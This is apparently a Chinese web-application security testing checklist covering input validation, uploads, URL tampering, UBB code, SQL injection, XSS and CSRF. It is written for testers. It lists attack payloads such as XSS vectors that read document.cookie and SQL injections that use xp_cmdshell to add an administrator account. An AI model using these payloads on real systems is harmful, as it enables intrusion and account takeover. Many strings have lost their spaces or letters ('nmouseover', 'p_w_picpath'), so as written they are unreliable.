建立整體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL注入、身份驗證和授權錯誤。
1、輸入驗證
客戶端驗證服務器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格
5.輸入特殊字符串NULL,null,0x0d0x0a
6.輸入正常字符串
7.輸入與要求不同類型的字符,如:要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值;要求輸入字母則檢查輸入數字
8.輸入html和javascript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加刪除等操作後查看變化
例如:
1.輸入<html”>”gfhd</html>,看是否出錯;
2.輸入<inputtype=”text”name=”user”/>,看是否出現文本框;
3.輸入<script.type=”text/javascript”>alert(“提示”)</script>看是否出現提示。
關於上傳:
1.上傳文件是否有格式限制,是否可以上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳並不存在的文件是否會導致異常錯誤;
3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
避免輸入:\..\web.
修改命名後綴。
關於URL:
1.某些需登錄後或特殊用戶才能進入的頁面,是否可以通過直接輸入網址的方式進入;
2.對於帶參數的網址,惡意修改其參數,(若爲數字,則輸入字母,或很大的數字,或輸入特殊字符等)後打開網址是否出錯,是否可以非法進入某些頁面;
3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字符。
UBB:
[url=http://www.****.com]你的網站[/url]
1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用
3.輸入編輯器中不存在的UBB代碼,看是否起作用
[url=alert('hello')]鏈接[/url]
[email=alert('hello')]EMail[/email]
[[email protected]="background-p_w_picpath:url(alert('XSS'))"][email protected][/email]
[img]http://www.13fun.cn/2007713015578593_03.jpgstyle=”background-p_w_picpath:url(alert(‘alert(xss)’))”[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg“onmouseover=alert(‘hello’);”[/img]
[bSTYLE="background-p_w_picpath:url(alert('XSS'))"]一首詩酸澀澀服務網[/b]
[iSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/font]
[size=4"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/color]
[align=center"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/align]
[float=left"STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/font]
[size=4STYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/size]
[color=RedSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/color]
[align=centerSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=leftSTYLE="background-p_w_picpath:url(alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
輸出編碼
常用的測試輸入語句有:
<inputtype=”text”/>
<input/>
<input/
<script>alert(‘hello’);</script>
1.jpg”nmouseover=”alert(‘xss’)
“></a><script>alert(‘xss’);</script>
http://xxx’;alert(‘xss’);var/a=’a
‘”>xss&<
a=”\”;b=”;alert(/xss/);//”
<imgsrc=“輸出內容”border=“0”alt=“logo”/>
“’”
‘”’
“””
“““
“”“
“‘”
title=””
對輸出數據到輸出數據的對比,看是否出現問題。
防止SQL注入
Admin–
‘or---–--
‘and()execinsert*%chrmid
and1=1;And1=1;aNd1=1;char(97)char(110)char(100)char(49)char(61)char(49);%20AND%201=2
‘and1=1;‘And1=1;‘aNd1=1;
and1=2;‘and1=2
and2=2
anduser>0
and(selectcount(*)fromsysobjects)>0
and(selectcount(*)frommsysobjects)>0
and(SelectCount(*)fromAdmin)>=0
and(selecttop1len(username)fromAdmin)>0(username已知字段)
;execmaster..xp_cmdshell“netusernamepassword/add”—
;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”—
and0<>(selectcount(*)fromadmin)
簡單的如wherextype=’U’,字符U對應的ASCII碼是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用戶’,可以用wherename=nchar(29992)+nchar(25143)代替。
跨站腳本***(XSS)
對於XSS,只需檢查HTML輸出並看看您輸入的內容在什麼地方。它在一個HREF標記中嗎?是否在IFRAME.標記中?它在CLSID標記中嗎?在IMGSRC中嗎?某些Flash內容的PARAMNAME是怎樣的?
★%3Cinput/%3E
★%3Cscript%3Ealert(‘XSS’)%3C/script%3E
★<inputtype=”text”/>
★<input/>
★<input/
★<script>alert(‘xss’)</script>
★<script>alert(‘xss’);</script>
★</script><script>alert(‘xss’)</script>
★alert(/xss/)
★javascript:alert(/xss/)
★<imgsrc=”#”nerror=alert(/xss/)>
★<imgsrc=”#”style=”Xss:alert(/xss/));”>
★<imgsrc=”#”/**/onerror=alert(/xss/)width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg”nmouseover=”alert(‘xss’)
★”></a><script>alert(‘xss’);</script>
★http://xxx’;alert(‘xss’);var/a=’a
★’”>xss&<
★”onmouseover=alert(‘hello’);”
★&{alert(‘hello’);}
★>”‘><script>alert(‘XSS’)</script>
★>%22%27><img%20src%3d%22alert(%27XSS%27)%22></p>
★>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22url(javascript.:alert(%27XSS%27))%22%20OS%22</p>
★%22%2Balert(%27XSS%27)%2B%22
★<tablebackground=”alert(([code])"></table>
★<objecttype=text/htmldata="alert(([code]);"></object>
★<bodynload="alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
varfrom=‘$!rundata.Parameters.getString(’from’)';
varfrom=”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
跨站請求僞造(CSRF)
同個瀏覽器打開兩個頁面,一個頁面權限失效後,另一個頁面是否可操作成功。
當頁面沒有CHECKCODE時,查看頁面源代碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。